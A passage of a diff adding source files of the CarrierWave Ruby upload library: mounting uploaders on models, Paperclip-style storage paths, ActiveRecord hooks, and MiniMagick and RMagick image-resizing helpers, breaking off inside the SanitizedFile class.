distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
@@ -0,0 +1,111 @@
# encoding: utf-8
require 'fileutils'
require 'active_support/core_ext/object/blank'
require 'active_support/core_ext/class/attribute'
require 'active_support/concern'
module CarrierWave
class << self
attr_accessor :root, :base_path
def configure(&block)
CarrierWave::Uploader::Base.configure(&block)
end
def clean_cached_files!
CarrierWave::Uploader::Base.clean_cached_files!
end
end
class UploadError < StandardError; end
class IntegrityError < UploadError; end
class InvalidParameter < UploadError; end
class ProcessingError < UploadError; end
class DownloadError < UploadError; end
autoload :SanitizedFile, 'carrierwave/sanitized_file'
autoload :Mount, 'carrierwave/mount'
autoload :RMagick, 'carrierwave/processing/rmagick'
autoload :ImageScience, 'carrierwave/processing/image_science'
autoload :MiniMagick, 'carrierwave/processing/mini_magick'
autoload :MimeTypes, 'carrierwave/processing/mime_types'
autoload :VERSION, 'carrierwave/version'
module Storage
autoload :Abstract, 'carrierwave/storage/abstract'
autoload :File, 'carrierwave/storage/file'
autoload :Fog, 'carrierwave/storage/fog'
end
module Uploader
autoload :Base, 'carrierwave/uploader'
autoload :Cache, 'carrierwave/uploader/cache'
autoload :Store, 'carrierwave/uploader/store'
autoload :Download, 'carrierwave/uploader/download'
autoload :Callbacks, 'carrierwave/uploader/callbacks'
autoload :Processing, 'carrierwave/uploader/processing'
autoload :Versions, 'carrierwave/uploader/versions'
autoload :Remove, 'carrierwave/uploader/remove'
autoload :ExtensionWhitelist, 'carrierwave/uploader/extension_whitelist'
autoload :DefaultUrl, 'carrierwave/uploader/default_url'
autoload :Proxy, 'carrierwave/uploader/proxy'
autoload :Url, 'carrierwave/uploader/url'
autoload :Mountable, 'carrierwave/uploader/mountable'
autoload :Configuration, 'carrierwave/uploader/configuration'
autoload :Serialization, 'carrierwave/uploader/serialization'
end
module Compatibility
autoload :Paperclip, 'carrierwave/compatibility/paperclip'
end
module Test
autoload :Matchers, 'carrierwave/test/matchers'
end
end
if defined?(Merb)
CarrierWave.root = Merb.dir_for(:public)
Merb::BootLoader.before_app_loads do
# Setup path for uploaders and load all of them before classes are loaded
Merb.push_path(:uploaders, Merb.root / 'app' / 'uploaders', '*.rb')
Dir.glob(File.join(Merb.load_paths[:uploaders])).each {|f| require f }
end
elsif defined?(Rails)
module CarrierWave
class Railtie < Rails::Railtie
initializer "carrierwave.setup_paths" do
CarrierWave.root = Rails.root.join(Rails.public_path).to_s
CarrierWave.base_path = ENV['RAILS_RELATIVE_URL_ROOT']
end
initializer "carrierwave.active_record" do
ActiveSupport.on_load :active_record do
require 'carrierwave/orm/activerecord'
end
end
end
end
elsif defined?(Sinatra)
if defined?(Padrino)
CarrierWave.root = File.join(PADRINO_ROOT, "public")
else
CarrierWave.root = if Sinatra::Application.respond_to?(:public_folder)
# Sinatra >= 1.3
Sinatra::Application.public_folder
else
# Sinatra < 1.3
Sinatra::Application.public
end
end
end
@@ -0,0 +1,95 @@
# encoding: utf-8
module CarrierWave
module Compatibility
##
# Mix this module into an Uploader to make it mimic Paperclip's storage paths
# This will make your Uploader use the same default storage path as paperclip
# does. If you need to override it, you can override the +paperclip_path+ method
# and provide a Paperclip style path:
#
# class MyUploader < CarrierWave::Uploader::Base
# include CarrierWave::Compatibility::Paperclip
#
# def paperclip_path
# ":rails_root/public/uploads/:id/:attachment/:style_:basename.:extension"
# end
# end
#
# ---
#
# This file contains code taken from Paperclip
#
# LICENSE
#
# The MIT License
#
# Copyright (c) 2008 Jon Yurek and thoughtbot, inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
#
module Paperclip
def store_path(for_file=filename)
path = paperclip_path
path ||= File.join(*[store_dir, paperclip_style.to_s, for_file].compact)
interpolate_paperclip_path(path, for_file)
end
def store_dir
":rails_root/public/system/:attachment/:id"
end
def paperclip_default_style
:original
end
def paperclip_path
end
def paperclip_style
version_name || paperclip_default_style
end
private
def interpolate_paperclip_path(path, filename)
mappings.inject(path) do |agg, pair|
agg.gsub(":#{pair[0]}") { pair[1].call(self, filename).to_s }
end
end
def mappings
[
[:rails_root , lambda{|u, f| Rails.root }],
[:rails_env , lambda{|u, f| Rails.env }],
[:class , lambda{|u, f| u.model.class.name.underscore.pluralize}],
[:id_partition , lambda{|u, f| ("%09d" % u.model.id).scan(/\d{3}/).join("/")}],
[:id , lambda{|u, f| u.model.id }],
[:attachment , lambda{|u, f| u.mounted_as.to_s.downcase.pluralize }],
[:style , lambda{|u, f| u.paperclip_style }],
[:basename , lambda{|u, f| f.gsub(/#{File.extname(f)}$/, "") }],
[:extension , lambda{|u, f| File.extname(f).gsub(/^\.+/, "")}]
]
end
end # Paperclip
end # Compatibility
end # CarrierWave
@@ -0,0 +1,9 @@
en:
errors:
messages:
carrierwave_processing_error: failed to be processed
carrierwave_integrity_error: is not of an allowed file type
extension_white_list_error: "You are not allowed to upload %{extension} files, allowed types: %{allowed_types}"
rmagick_processing_error: "Failed to manipulate with rmagick, maybe it is not an image? Original Error: %{e}"
mime_types_processing_error: "Failed to process file with MIME::Types, maybe not valid content-type? Original Error: %{e}"
mini_magick_processing_error: "Failed to manipulate with MiniMagick, maybe it is not an image? Original Error: %{e}"
@@ -0,0 +1,382 @@
# encoding: utf-8
module CarrierWave
##
# If a Class is extended with this module, it gains the mount_uploader
# method, which is used for mapping attributes to uploaders and allowing
# easy assignment.
#
# You can use mount_uploader with pretty much any class, however it is
# intended to be used with some kind of persistent storage, like an ORM.
# If you want to persist the uploaded files in a particular Class, it
# needs to implement a `read_uploader` and a `write_uploader` method.
#
module Mount
##
# === Returns
#
# [Hash{Symbol => CarrierWave}] what uploaders are mounted on which columns
#
def uploaders
@uploaders ||= {}
@uploaders = superclass.uploaders.merge(@uploaders) if superclass.respond_to?(:uploaders)
@uploaders
end
def uploader_options
@uploader_options ||= {}
@uploader_options = superclass.uploader_options.merge(@uploader_options) if superclass.respond_to?(:uploader_options)
@uploader_options
end
##
# Return a particular option for a particular uploader
#
# === Parameters
#
# [column (Symbol)] The column the uploader is mounted at
# [option (Symbol)] The option, e.g. validate_integrity
#
# === Returns
#
# [Object] The option value
#
def uploader_option(column, option)
if uploader_options[column].has_key?(option)
uploader_options[column][option]
else
uploaders[column].send(option)
end
end
##
# Mounts the given uploader on the given column. This means that assigning
# and reading from the column will upload and retrieve files. Supposing
# that a User class has an uploader mounted on image, you can assign and
# retrieve files like this:
#
# @user.image # => <Uploader>
# @user.image.store!(some_file_object)
#
# @user.image.url # => '/some_url.png'
#
# It is also possible (but not recommended) to ommit the uploader, which
# will create an anonymous uploader class.
#
# Passing a block makes it possible to customize the uploader. This can be
# convenient for brevity, but if there is any significatnt logic in the
# uploader, you should do the right thing and have it in its own file.
#
# === Added instance methods
#
# Supposing a class has used +mount_uploader+ to mount an uploader on a column
# named +image+, in that case the following methods will be added to the class:
#
# [image] Returns an instance of the uploader only if anything has been uploaded
# [image=] Caches the given file
#
# [image_url] Returns the url to the uploaded file
#
# [image_cache] Returns a string that identifies the cache location of the file
# [image_cache=] Retrieves the file from the cache based on the given cache name
#
# [remote_image_url] Returns previously cached remote url
# [remote_image_url=] Retrieve the file from the remote url
#
# [remove_image] An attribute reader that can be used with a checkbox to mark a file for removal
# [remove_image=] An attribute writer that can be used with a checkbox to mark a file for removal
# [remove_image?] Whether the file should be removed when store_image! is called.
#
# [store_image!] Stores a file that has been assigned with +image=+
# [remove_image!] Removes the uploaded file from the filesystem.
#
# [image_integrity_error] Returns an error object if the last file to be assigned caused an integrity error
# [image_processing_error] Returns an error object if the last file to be assigned caused a processing error
#
# [write_image_identifier] Uses the write_uploader method to set the identifier.
# [image_identifier] Reads out the identifier of the file
#
# === Parameters
#
# [column (Symbol)] the attribute to mount this uploader on
# [uploader (CarrierWave::Uploader)] the uploader class to mount
# [options (Hash{Symbol => Object})] a set of options
# [&block (Proc)] customize anonymous uploaders
#
# === Options
#
# [:mount_on => Symbol] if the name of the column to be serialized to differs you can override it using this option
# [:ignore_integrity_errors => Boolean] if set to true, integrity errors will result in caching failing silently
# [:ignore_processing_errors => Boolean] if set to true, processing errors will result in caching failing silently
#
# === Examples
#
# Mounting uploaders on different columns.
#
# class Song
# mount_uploader :lyrics, LyricsUploader
# mount_uploader :alternative_lyrics, LyricsUploader
# mount_uploader :file, SongUploader
# end
#
# This will add an anonymous uploader with only the default settings:
#
# class Data
# mount_uploader :csv
# end
#
# this will add an anonymous uploader overriding the store_dir:
#
# class Product
# mount_uploader :blueprint do
# def store_dir
# 'blueprints'
# end
# end
# end
#
def mount_uploader(column, uploader=nil, options={}, &block)
if block_given?
uploader = Class.new(uploader || CarrierWave::Uploader::Base)
uploader.class_eval(&block)
uploader.recursively_apply_block_to_versions(&block)
else
uploader ||= Class.new(CarrierWave::Uploader::Base)
end
uploaders[column.to_sym] = uploader
uploader_options[column.to_sym] = options
include CarrierWave::Mount::Extension
# Make sure to write over accessors directly defined on the class.
# Simply super to the included module below.
class_eval <<-RUBY, __FILE__, __LINE__+1
def #{column}; super; end
def #{column}=(new_file); super; end
RUBY
# Mixing this in as a Module instead of class_evaling directly, so we
# can maintain the ability to super to any of these methods from within
# the class.
mod = Module.new
include mod
mod.class_eval <<-RUBY, __FILE__, __LINE__+1
def #{column}
_mounter(:#{column}).uploader
end
def #{column}=(new_file)
_mounter(:#{column}).cache(new_file)
end
def #{column}?
!_mounter(:#{column}).blank?
end
def #{column}_url(*args)
_mounter(:#{column}).url(*args)
end
def #{column}_cache
_mounter(:#{column}).cache_name
end
def #{column}_cache=(cache_name)
_mounter(:#{column}).cache_name = cache_name
end
def remote_#{column}_url
_mounter(:#{column}).remote_url
end
def remote_#{column}_url=(url)
_mounter(:#{column}).remote_url = url
end
def remove_#{column}
_mounter(:#{column}).remove
end
def remove_#{column}!
_mounter(:#{column}).remove!
end
def remove_#{column}=(value)
_mounter(:#{column}).remove = value
end
def remove_#{column}?
_mounter(:#{column}).remove?
end
def store_#{column}!
_mounter(:#{column}).store!
end
def #{column}_integrity_error
_mounter(:#{column}).integrity_error
end
def #{column}_processing_error
_mounter(:#{column}).processing_error
end
def write_#{column}_identifier
_mounter(:#{column}).write_identifier
end
def #{column}_identifier
_mounter(:#{column}).identifier
end
def store_previous_model_for_#{column}
serialization_column = _mounter(:#{column}).serialization_column
if #{column}.remove_previously_stored_files_after_update && send(:"\#{serialization_column}_changed?")
@previous_model_for_#{column} ||= self.find_previous_model_for_#{column}
end
end
def find_previous_model_for_#{column}
self.class.find(to_key.first)
end
def remove_previously_stored_#{column}
if @previous_model_for_#{column} && @previous_model_for_#{column}.#{column}.path != #{column}.path
@previous_model_for_#{column}.#{column}.remove!
@previous_model_for_#{column} = nil
end
end
RUBY
end
module Extension
##
# overwrite this to read from a serialized attribute
#
def read_uploader(column); end
##
# overwrite this to write to a serialized attribute
#
def write_uploader(column, identifier); end
private
def _mounter(column)
# We cannot memoize in frozen objects :(
return Mounter.new(self, column) if frozen?
@_mounters ||= {}
@_mounters[column] ||= Mounter.new(self, column)
end
end # Extension
# this is an internal class, used by CarrierWave::Mount so that
# we don't pollute the model with a lot of methods.
class Mounter #:nodoc:
attr_reader :column, :record, :remote_url, :integrity_error, :processing_error
attr_accessor :remove
def initialize(record, column, options={})
@record = record
@column = column
@options = record.class.uploader_options[column]
end
def write_identifier
if remove?
record.write_uploader(serialization_column, '')
elsif not uploader.identifier.blank?
record.write_uploader(serialization_column, uploader.identifier)
end
end
def identifier
record.read_uploader(serialization_column)
end
def uploader
@uploader ||= record.class.uploaders[column].new(record, column)
if @uploader.blank? and not identifier.blank?
@uploader.retrieve_from_store!(identifier)
end
return @uploader
end
def cache(new_file)
uploader.cache!(new_file)
@integrity_error = nil
@processing_error = nil
rescue CarrierWave::IntegrityError => e
@integrity_error = e
raise e unless option(:ignore_integrity_errors)
rescue CarrierWave::ProcessingError => e
@processing_error = e
raise e unless option(:ignore_processing_errors)
end
def cache_name
uploader.cache_name
end
def cache_name=(cache_name)
uploader.retrieve_from_cache!(cache_name) unless uploader.cached?
rescue CarrierWave::InvalidParameter
end
def remote_url=(url)
@remote_url = url
uploader.download!(url)
end
def store!
unless uploader.blank?
if remove?
uploader.remove!
else
uploader.store!
end
end
end
def url(*args)
uploader.url(*args)
end
def blank?
uploader.blank?
end
def remove?
!remove.blank? and remove !~ /\A0|false$\z/
end
def remove!
uploader.remove!
end
def serialization_column
option(:mount_on) || column
end
attr_accessor :uploader_options
private
def option(name)
self.uploader_options ||= {}
self.uploader_options[name] ||= record.class.uploader_option(column, name)
end
end # Mounter
end # Mount
end # CarrierWave
@@ -0,0 +1,66 @@
# encoding: utf-8
require 'active_record'
require 'carrierwave/validations/active_model'
module CarrierWave
module ActiveRecord
include CarrierWave::Mount
##
# See +CarrierWave::Mount#mount_uploader+ for documentation
#
def mount_uploader(column, uploader=nil, options={}, &block)
super
alias_method :read_uploader, :read_attribute
alias_method :write_uploader, :write_attribute
public :read_uploader
public :write_uploader
include CarrierWave::Validations::ActiveModel
validates_integrity_of column if uploader_option(column.to_sym, :validate_integrity)
validates_processing_of column if uploader_option(column.to_sym, :validate_processing)
after_save :"store_#{column}!"
before_save :"write_#{column}_identifier"
after_destroy :"remove_#{column}!"
before_update :"store_previous_model_for_#{column}"
after_save :"remove_previously_stored_#{column}"
class_eval <<-RUBY, __FILE__, __LINE__+1
def #{column}=(new_file)
column = _mounter(:#{column}).serialization_column
send(:"\#{column}_will_change!")
super
end
def remote_#{column}_url=(url)
column = _mounter(:#{column}).serialization_column
send(:"\#{column}_will_change!")
super
end
def serializable_hash(options=nil)
hash = {}
except = options && options[:except] && Array.wrap(options[:except]).map(&:to_s)
only = options && options[:only] && Array.wrap(options[:only]).map(&:to_s)
self.class.uploaders.each do |column, uploader|
if (!only && !except) || (only && only.include?(column.to_s)) || (except && !except.include?(column.to_s))
hash[column.to_s] = _mounter(:#{column}).uploader.serializable_hash
end
end
super(options).merge(hash)
end
RUBY
end
end # ActiveRecord
end # CarrierWave
ActiveRecord::Base.extend CarrierWave::ActiveRecord
@@ -0,0 +1,58 @@
require 'mime/types'
module CarrierWave
##
# This module simplifies the use of the mime-types gem to intelligently
# guess and set the content-type of a file. If you want to use this, you'll
# need to require this file:
#
# require 'carrierwave/processing/mime_types'
#
# And then include it in your uploader:
#
# class MyUploader < CarrierWave::Uploader::Base
# include CarrierWave::MimeTypes
# end
#
# You can now use the provided helper:
#
# class MyUploader < CarrierWave::Uploader::Base
# include CarrierWave::MimeTypes
#
# process :set_content_type
# end
#
module MimeTypes
extend ActiveSupport::Concern
module ClassMethods
def set_content_type(override=false)
process :set_content_type => override
end
end
##
# Changes the file content_type using the mime-types gem
#
# === Parameters
#
# [override (Boolean)] whether or not to override the file's content_type
# if it is already set and not a generic content-type,
# false by default
#
def set_content_type(override=false)
if override || file.content_type.blank? || file.content_type == 'application/octet-stream'
new_content_type = ::MIME::Types.type_for(file.original_filename).first.to_s
if file.respond_to?(:content_type=)
file.content_type = new_content_type
else
file.instance_variable_set(:@content_type, new_content_type)
end
end
rescue ::MIME::InvalidContentType => e
raise CarrierWave::ProcessingError, I18n.translate(:"errors.messages.mime_types_processing_error", :e => e)
end
end # MimeTypes
end # CarrierWave
@@ -0,0 +1,254 @@
# encoding: utf-8
require 'mini_magick'
module CarrierWave
##
# This module simplifies manipulation with MiniMagick by providing a set
# of convenient helper methods. If you want to use them, you'll need to
# require this file:
#
# require 'carrierwave/processing/mini_magick'
#
# And then include it in your uploader:
#
# class MyUploader < CarrierWave::Uploader::Base
# include CarrierWave::MiniMagick
# end
#
# You can now use the provided helpers:
#
# class MyUploader < CarrierWave::Uploader::Base
# include CarrierWave::MiniMagick
#
# process :resize_to_fit => [200, 200]
# end
#
# Or create your own helpers with the powerful manipulate! method. Check
# out the ImageMagick docs at http://www.imagemagick.org/script/command-line-options.php for more
# info
#
# class MyUploader < CarrierWave::Uploader::Base
# include CarrierWave::MiniMagick
#
# process :radial_blur => 10
#
# def radial_blur(amount)
# manipulate! do |img|
# img.radial_blur(amount)
# img = yield(img) if block_given?
# img
# end
# end
#
# === Note
#
# MiniMagick is a mini replacement for RMagick that uses the command line
# tool "mogrify" for image manipulation.
#
# You can find more information here:
#
# http://mini_magick.rubyforge.org/
# and
# http://github.com/probablycorey/mini_magick/
#
#
module MiniMagick
extend ActiveSupport::Concern
module ClassMethods
def convert(format)
process :convert => format
end
def resize_to_limit(width, height)
process :resize_to_limit => [width, height]
end
def resize_to_fit(width, height)
process :resize_to_fit => [width, height]
end
def resize_to_fill(width, height, gravity='Center')
process :resize_to_fill => [width, height, gravity]
end
def resize_and_pad(width, height, background=:transparent, gravity=::Magick::CenterGravity)
process :resize_and_pad => [width, height, background, gravity]
end
end
##
# Changes the image encoding format to the given format
#
# See http://www.imagemagick.org/script/command-line-options.php#format
#
# === Parameters
#
# [format (#to_s)] an abreviation of the format
#
# === Yields
#
# [MiniMagick::Image] additional manipulations to perform
#
# === Examples
#
# image.convert(:png)
#
def convert(format)
manipulate! do |img|
img.format(format.to_s.downcase)
img = yield(img) if block_given?
img
end
end
##
# Resize the image to fit within the specified dimensions while retaining
# the original aspect ratio. Will only resize the image if it is larger than the
# specified dimensions. The resulting image may be shorter or narrower than specified
# in the smaller dimension but will not be larger than the specified values.
#
# === Parameters
#
# [width (Integer)] the width to scale the image to
# [height (Integer)] the height to scale the image to
#
# === Yields
#
# [MiniMagick::Image] additional manipulations to perform
#
def resize_to_limit(width, height)
manipulate! do |img|
img.resize "#{width}x#{height}>"
img = yield(img) if block_given?
img
end
end
##
# Resize the image to fit within the specified dimensions while retaining
# the original aspect ratio. The image may be shorter or narrower than
# specified in the smaller dimension but will not be larger than the specified values.
#
# === Parameters
#
# [width (Integer)] the width to scale the image to
# [height (Integer)] the height to scale the image to
#
# === Yields
#
# [MiniMagick::Image] additional manipulations to perform
#
def resize_to_fit(width, height)
manipulate! do |img|
img.resize "#{width}x#{height}"
img = yield(img) if block_given?
img
end
end
##
# Resize the image to fit within the specified dimensions while retaining
# the aspect ratio of the original image. If necessary, crop the image in the
# larger dimension.
#
# === Parameters
#
# [width (Integer)] the width to scale the image to
# [height (Integer)] the height to scale the image to
# [gravity (String)] the current gravity suggestion (default: 'Center'; options: 'NorthWest', 'North', 'NorthEast', 'West', 'Center', 'East', 'SouthWest', 'South', 'SouthEast')
#
# === Yields
#
# [MiniMagick::Image] additional manipulations to perform
#
def resize_to_fill(width, height, gravity = 'Center')
manipulate! do |img|
cols, rows = img[:dimensions]
img.combine_options do |cmd|
if width != cols || height != rows
scale = [width/cols.to_f, height/rows.to_f].max
cols = (scale * (cols + 0.5)).round
rows = (scale * (rows + 0.5)).round
cmd.resize "#{cols}x#{rows}"
end
cmd.gravity gravity
cmd.background "rgba(255,255,255,0.0)"
cmd.extent "#{width}x#{height}" if cols != width || rows != height
end
img = yield(img) if block_given?
img
end
end
##
# Resize the image to fit within the specified dimensions while retaining
# the original aspect ratio. If necessary, will pad the remaining area
# with the given color, which defaults to transparent (for gif and png,
# white for jpeg).
#
# See http://www.imagemagick.org/script/command-line-options.php#gravity
# for gravity options.
#
# === Parameters
#
# [width (Integer)] the width to scale the image to
# [height (Integer)] the height to scale the image to
# [background (String, :transparent)] the color of the background as a hexcode, like "#ff45de"
# [gravity (String)] how to position the image
#
# === Yields
#
# [MiniMagick::Image] additional manipulations to perform
#
def resize_and_pad(width, height, background=:transparent, gravity='Center')
manipulate! do |img|
img.combine_options do |cmd|
cmd.thumbnail "#{width}x#{height}>"
if background == :transparent
cmd.background "rgba(255, 255, 255, 0.0)"
else
cmd.background background
end
cmd.gravity gravity
cmd.extent "#{width}x#{height}"
end
img = yield(img) if block_given?
img
end
end
##
# Manipulate the image with MiniMagick. This method will load up an image
# and then pass each of its frames to the supplied block. It will then
# save the image to disk.
#
# === Gotcha
#
# This method assumes that the object responds to +current_path+.
# Any class that this module is mixed into must have a +current_path+ method.
# CarrierWave::Uploader does, so you won't need to worry about this in
# most cases.
#
# === Yields
#
# [MiniMagick::Image] manipulations to perform
#
# === Raises
#
# [CarrierWave::ProcessingError] if manipulation failed.
#
def manipulate!
cache_stored_file! if !cached?
image = ::MiniMagick::Image.open(current_path)
image = yield(image)
image.write(current_path)
::MiniMagick::Image.open(current_path)
rescue ::MiniMagick::Error, ::MiniMagick::Invalid => e
raise CarrierWave::ProcessingError, I18n.translate(:"errors.messages.mini_magick_processing_error", :e => e)
end
end # MiniMagick
end # CarrierWave
@@ -0,0 +1,284 @@
# encoding: utf-8
unless defined? Magick
begin
require 'rmagick'
rescue LoadError
require 'RMagick'
rescue LoadError
puts "WARNING: Failed to require rmagick, image processing may fail!"
end
end
module CarrierWave
##
# This module simplifies manipulation with RMagick by providing a set
# of convenient helper methods. If you want to use them, you'll need to
# require this file:
#
# require 'carrierwave/processing/rmagick'
#
# And then include it in your uploader:
#
# class MyUploader < CarrierWave::Uploader::Base
# include CarrierWave::RMagick
# end
#
# You can now use the provided helpers:
#
# class MyUploader < CarrierWave::Uploader::Base
# include CarrierWave::RMagick
#
# process :resize_to_fit => [200, 200]
# end
#
# Or create your own helpers with the powerful manipulate! method. Check
# out the RMagick docs at http://www.imagemagick.org/RMagick/doc/ for more
# info
#
# class MyUploader < CarrierWave::Uploader::Base
# include CarrierWave::RMagick
#
# process :do_stuff => 10.0
#
# def do_stuff(blur_factor)
# manipulate! do |img|
# img = img.sepiatone
# img = img.auto_orient
# img = img.radial_blur(blur_factor)
# end
# end
# end
#
# === Note
#
# You should be aware how RMagick handles memory. manipulate! takes care
# of freeing up memory for you, but for optimum memory usage you should
# use destructive operations as much as possible:
#
# DON'T DO THIS:
# img = img.resize_to_fit
#
# DO THIS INSTEAD:
# img.resize_to_fit!
#
# Read this for more information why:
#
# http://rubyforge.org/forum/forum.php?thread_id=1374&forum_id=1618
#
module RMagick
extend ActiveSupport::Concern
module ClassMethods
def convert(format)
process :convert => format
end
def resize_to_limit(width, height)
process :resize_to_limit => [width, height]
end
def resize_to_fit(width, height)
process :resize_to_fit => [width, height]
end
def resize_to_fill(width, height, gravity=::Magick::CenterGravity)
process :resize_to_fill => [width, height, gravity]
end
def resize_and_pad(width, height, background=:transparent, gravity=::Magick::CenterGravity)
process :resize_and_pad => [width, height, background, gravity]
end
end
##
# Changes the image encoding format to the given format
#
# See even http://www.imagemagick.org/RMagick/doc/magick.html#formats
#
# === Parameters
#
# [format (#to_s)] an abreviation of the format
#
# === Yields
#
# [Magick::Image] additional manipulations to perform
#
# === Examples
#
# image.convert(:png)
#
def convert(format)
manipulate!(:format => format)
end
##
# Resize the image to fit within the specified dimensions while retaining
# the original aspect ratio. Will only resize the image if it is larger than the
# specified dimensions. The resulting image may be shorter or narrower than specified
# in the smaller dimension but will not be larger than the specified values.
#
# === Parameters
#
# [width (Integer)] the width to scale the image to
# [height (Integer)] the height to scale the image to
#
# === Yields
#
# [Magick::Image] additional manipulations to perform
#
def resize_to_limit(width, height)
manipulate! do |img|
geometry = Magick::Geometry.new(width, height, 0, 0, Magick::GreaterGeometry)
new_img = img.change_geometry(geometry) do |new_width, new_height|
img.resize(new_width, new_height)
end
destroy_image(img)
new_img = yield(new_img) if block_given?
new_img
end
end
##
# From the RMagick documentation: "Resize the image to fit within the
# specified dimensions while retaining the original aspect ratio. The
# image may be shorter or narrower than specified in the smaller dimension
# but will not be larger than the specified values."
#
# See even http://www.imagemagick.org/RMagick/doc/image3.html#resize_to_fit
#
# === Parameters
#
# [width (Integer)] the width to scale the image to
# [height (Integer)] the height to scale the image to
#
# === Yields
#
# [Magick::Image] additional manipulations to perform
#
def resize_to_fit(width, height)
manipulate! do |img|
img.resize_to_fit!(width, height)
img = yield(img) if block_given?
img
end
end
##
# From the RMagick documentation: "Resize the image to fit within the
# specified dimensions while retaining the aspect ratio of the original
# image. If necessary, crop the image in the larger dimension."
#
# See even http://www.imagemagick.org/RMagick/doc/image3.html#resize_to_fill
#
# === Parameters
#
# [width (Integer)] the width to scale the image to
# [height (Integer)] the height to scale the image to
#
# === Yields
#
# [Magick::Image] additional manipulations to perform
#
def resize_to_fill(width, height, gravity=::Magick::CenterGravity)
manipulate! do |img|
img.crop_resized!(width, height, gravity)
img = yield(img) if block_given?
img
end
end
##
# Resize the image to fit within the specified dimensions while retaining
# the original aspect ratio. If necessary, will pad the remaining area
# with the given color, which defaults to transparent (for gif and png,
# white for jpeg).
#
# === Parameters
#
# [width (Integer)] the width to scale the image to
# [height (Integer)] the height to scale the image to
# [background (String, :transparent)] the color of the background as a hexcode, like "#ff45de"
# [gravity (Magick::GravityType)] how to position the image
#
# === Yields
#
# [Magick::Image] additional manipulations to perform
#
def resize_and_pad(width, height, background=:transparent, gravity=::Magick::CenterGravity)
manipulate! do |img|
img.resize_to_fit!(width, height)
new_img = ::Magick::Image.new(width, height)
if background == :transparent
filled = new_img.matte_floodfill(1, 1)
else
filled = new_img.color_floodfill(1, 1, ::Magick::Pixel.from_color(background))
end
destroy_image(new_img)
filled.composite!(img, gravity, ::Magick::OverCompositeOp)
destroy_image(img)
filled = yield(filled) if block_given?
filled
end
end
##
# Manipulate the image with RMagick. This method will load up an image
# and then pass each of its frames to the supplied block. It will then
# save the image to disk.
#
# === Gotcha
#
# This method assumes that the object responds to +current_path+.
# Any class that this module is mixed into must have a +current_path+ method.
# CarrierWave::Uploader does, so you won't need to worry about this in
# most cases.
#
# === Yields
#
# [Magick::Image] manipulations to perform
#
# === Raises
#
# [CarrierWave::ProcessingError] if manipulation failed.
#
def manipulate!(options={}, &block)
cache_stored_file! if !cached?
image = ::Magick::Image.read(current_path)
frames = if image.size > 1
list = ::Magick::ImageList.new
image.each_with_index do |frame, index|
processed_frame = if block_given?
yield *[frame, index].take(block.arity)
else
frame
end
list << processed_frame if processed_frame
end
block_given? ? list : list.append(true)
else
frame = image.first
frame = yield( *[frame, 0].take(block.arity) ) if block_given?
frame
end
if options[:format]
frames.write("#{options[:format]}:#{current_path}")
else
frames.write(current_path)
end
destroy_image(frames)
rescue ::Magick::ImageMagickError => e
raise CarrierWave::ProcessingError, I18n.translate(:"errors.messages.rmagick_processing_error", :e => e)
end
private
def destroy_image(image)
image.destroy! if image.respond_to?(:destroy!)
end
end # RMagick
end # CarrierWave
@@ -0,0 +1,315 @@
# encoding: utf-8
require 'pathname'
require 'active_support/core_ext/string/multibyte'
module CarrierWave
##
# SanitizedFile is a base class which provides a common API around all
# the different quirky Ruby File libraries. It has support for Tempfile,
# File, StringIO, Merb-style upload Hashes, as well as paths given as
# Strings and Pathnames.
#
# It's probably needlessly comprehensive and complex. Help is appreciated.
#
class SanitizedFile
attr_accessor :file
class << self
attr_writer :sanitize_regexp
def sanitize_regexp
@sanitize_regexp ||= /[^a-zA-Z0-9\.\-\+_]/
end
end
def initialize(file)
self.file = file
end
##
# Returns the filename as is, without sanizting it.
#
# === Returns
#
# [String] the unsanitized filename
#
def original_filename
return @original_filename if @original_filename
if @file and @file.respond_to?(:original_filename)
@file.original_filename
elsif path
File.basename(path)
end
end
##
# Returns the filename, sanitized to strip out any evil characters.
#
# === Returns
#
# [String] the sanitized filename
#
def filename
sanitize(original_filename) if original_filename
end
alias_method :identifier, :filename
##
# Returns the part of the filename before the extension. So if a file is called 'test.jpeg'
# this would return 'test'
#
# === Returns
#
# [String] the first part of the filename
#
def basename
split_extension(filename)[0] if filename
end
##
# Returns the file extension
#
# === Returns
#
# [String] the extension
#
def extension
split_extension(filename)[1] if filename
end
##
# Returns the file's size.
#
# === Returns
#
# [Integer] the file's size in bytes.
#
def size
if is_path?
exists? ? File.size(path) : 0
elsif @file.respond_to?(:size)
@file.size
elsif path
exists? ? File.size(path) : 0
else
0
end
end
##
# Returns the full path to the file. If the file has no path, it will return nil.
#
# === Returns
#
# [String, nil] the path where the file is located.
#
def path
unless @file.blank?
if is_path?
File.expand_path(@file)
elsif @file.respond_to?(:path) and not @file.path.blank?
File.expand_path(@file.path)
end
end
end
##
# === Returns
#
# [Boolean] whether the file is supplied as a pathname or string.
#
def is_path?
